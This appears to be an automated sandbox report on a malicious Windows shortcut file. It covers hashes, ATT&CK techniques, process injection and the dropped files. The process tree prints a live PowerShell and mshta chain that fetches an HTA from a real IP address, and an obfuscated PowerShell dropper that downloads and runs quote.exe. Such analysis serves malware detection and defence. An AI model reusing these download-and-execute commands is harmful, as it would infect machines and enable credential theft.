2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 01:09

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General

Target

2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07.lnk
Size

40KB
MD5

5056bcf2c4a723fb01fa6b136f8035b8
SHA1

595a4292dd04ebb2b41f3503b163728f4dfceba3
SHA256

2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07
SHA512

eafb0fc7f608fbdc9fad95e4f26ef5f5b6cb25785460605057b7a0df02e4afa38ddc26bd971dda62faf8b60e95bed5bdafc585948f0e2357aab3b9475fb7bace
SSDEEP

12:8MFm/3BVSXvk44X3ojsqzKtnWNm3cW+UcCsvXLCKeXCf/DWKDiN33YlNPeVnI:8l/BHYVKVWqV+/CW7C7Sf/naHKPeFI

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://198.23.201.89/warm/quote.hta

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	3452	mshta.exe
7	1640	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1992	quote.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
1640	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1992 set thread context of 2940	1992	quote.exe	49
PID 1992 set thread context of 3928	1992	quote.exe	98
PID 3928 set thread context of 2940	3928	netbtugc.exe	49
PID 3928 set thread context of 956	3928	netbtugc.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	netbtugc.exe

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
2768	powershell.exe
2768	powershell.exe
1640	powershell.exe
1640	powershell.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
1992	quote.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
1992	quote.exe
2940	Explorer.EXE
2940	Explorer.EXE
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe
3928	netbtugc.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
2940	Explorer.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2768	2676	cmd.exe	82
PID 2676 wrote to memory of 2768	2676	cmd.exe	82
PID 2768 wrote to memory of 3452	2768	powershell.exe	83
PID 2768 wrote to memory of 3452	2768	powershell.exe	83
PID 3452 wrote to memory of 1640	3452	mshta.exe	87
PID 3452 wrote to memory of 1640	3452	mshta.exe	87
PID 1640 wrote to memory of 1992	1640	powershell.exe	89
PID 1640 wrote to memory of 1992	1640	powershell.exe	89
PID 1640 wrote to memory of 1992	1640	powershell.exe	89
PID 2940 wrote to memory of 3928	2940	Explorer.EXE	98
PID 2940 wrote to memory of 3928	2940	Explorer.EXE	98
PID 2940 wrote to memory of 3928	2940	Explorer.EXE	98
PID 3928 wrote to memory of 956	3928	netbtugc.exe	99
PID 3928 wrote to memory of 956	3928	netbtugc.exe	99

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07.lnk
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://198.23.201.89/warm/quote.hta'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2768
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://198.23.201.89/warm/quote.hta
      4⤵
      Blocklisted process makes network request
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function nmGOxUPNNyx($ogSeqyEOxjSSyhC, $VyoAtZcdfQ){[IO.File]::WriteAllBytes($ogSeqyEOxjSSyhC, $VyoAtZcdfQ)};function LMAIKFAMR($ogSeqyEOxjSSyhC){if($ogSeqyEOxjSSyhC.EndsWith((ZSaBwJjgTDUUHgu @(78872,78926,78934,78934))) -eq $True){rundll32.exe $ogSeqyEOxjSSyhC }elseif($ogSeqyEOxjSSyhC.EndsWith((ZSaBwJjgTDUUHgu @(78872,78938,78941,78875))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $ogSeqyEOxjSSyhC}elseif($ogSeqyEOxjSSyhC.EndsWith((ZSaBwJjgTDUUHgu @(78872,78935,78941,78931))) -eq $True){misexec /qn /i $ogSeqyEOxjSSyhC}else{Start-Process $ogSeqyEOxjSSyhC}};function zRYMFYLDmOe($mDGmeSGhIkuwrqJtJZLw){$EfGJtgnGtNP = New-Object (ZSaBwJjgTDUUHgu @(78904,78927,78942,78872,78913,78927,78924,78893,78934,78931,78927,78936,78942));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$VyoAtZcdfQ = $EfGJtgnGtNP.DownloadData($mDGmeSGhIkuwrqJtJZLw);return $VyoAtZcdfQ};function ZSaBwJjgTDUUHgu($onRXg){$ZhZCNZYJEU=78826;$hWveCdbSaGxwsxez=$Null;foreach($nvVGJaTdTbAIieHwE in $onRXg){$hWveCdbSaGxwsxez+=[char]($nvVGJaTdTbAIieHwE-$ZhZCNZYJEU)};return $hWveCdbSaGxwsxez};function ZzRKOKlNVqQ(){$idobYOmcoyLGCSLad = $env:Temp + '\';$fuGeJBxNjgy = $idobYOmcoyLGCSLad + 'quote.exe'; if (Test-Path -Path $fuGeJBxNjgy){LMAIKFAMR $fuGeJBxNjgy;}Else{ $gLysEDfqNMMtOdk = zRYMFYLDmOe (ZSaBwJjgTDUUHgu @(78930,78942,78942,78938,78884,78873,78873,78875,78883,78882,78872,78876,78877,78872,78876,78874,78875,78872,78882,78883,78873,78945,78923,78940,78935,78873,78939,78943,78937,78942,78927,78872,78927,78946,78927));nmGOxUPNNyx $fuGeJBxNjgy $gLysEDfqNMMtOdk;LMAIKFAMR $fuGeJBxNjgy;};;;;}ZzRKOKlNVqQ;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1640
      - C:\Users\Admin\AppData\Local\Temp\quote.exe
        
        "C:\Users\Admin\AppData\Local\Temp\quote.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1992
- C:\Windows\SysWOW64\netbtugc.exe
  "C:\Windows\SysWOW64\netbtugc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wj42ask1.xlp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\quote.exe

Filesize
264KB

MD5
1dcce19e1a6306424d073487af821ff0

SHA1
9de500775811f65415266689cbdfd035e167f148

SHA256
77e14caae3daf05c1f5a6a3d10e4936cc58944d6ae9ec6943b1be6d995e94b5c

SHA512
4528efd164bff904830fde7efb04d5cf3999ef4fa0b8c3d4ad0407d7cd75f03085107c8ae5651e015f62e414a59979fd264e94257c52f60540d5969fd4ca144a

Download Submit
memory/956-50-0x0000021221300000-0x0000021221404000-memory.dmp

Filesize
1.0MB

Download
memory/2768-13-0x00007FFD4E230000-0x00007FFD4ECF1000-memory.dmp

Filesize
10.8MB

Download
memory/2768-17-0x00007FFD4E230000-0x00007FFD4ECF1000-memory.dmp

Filesize
10.8MB

Download
memory/2768-16-0x00000287E6B60000-0x00000287E6D7C000-memory.dmp

Filesize
2.1MB

Download
memory/2768-2-0x00007FFD4E233000-0x00007FFD4E235000-memory.dmp

Filesize
8KB

Download
memory/2768-12-0x00000287E6B20000-0x00000287E6B42000-memory.dmp

Filesize
136KB

Download
memory/2940-43-0x0000000002A80000-0x0000000002B36000-memory.dmp

Filesize
728KB

Download
memory/3928-41-0x0000000000A00000-0x0000000000A3F000-memory.dmp

Filesize
252KB

Download
memory/3928-42-0x0000000000A00000-0x0000000000A3F000-memory.dmp

Filesize
252KB

Download